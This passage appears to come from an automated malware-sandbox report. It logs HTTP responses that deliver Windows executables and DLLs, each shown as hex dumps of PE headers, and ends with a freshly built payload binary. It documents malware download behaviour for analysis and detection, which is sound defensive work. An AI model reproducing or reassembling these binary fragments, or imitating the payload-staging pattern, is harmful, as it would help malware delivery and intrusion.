00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 21:20:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 21:20:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 21:20:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 21:20:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 21:20:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 21:20:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 21:21:00 GMTContent-Type: application/octet-streamContent-Length: 1901568Last-Modified: Sun, 17 Nov 2024 21:03:57 GMTConnection: keep-aliveETag: "673a5a3d-1d0400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 90 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4b 00 00 04 00 00 0c 12 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 73 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc 72 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6d 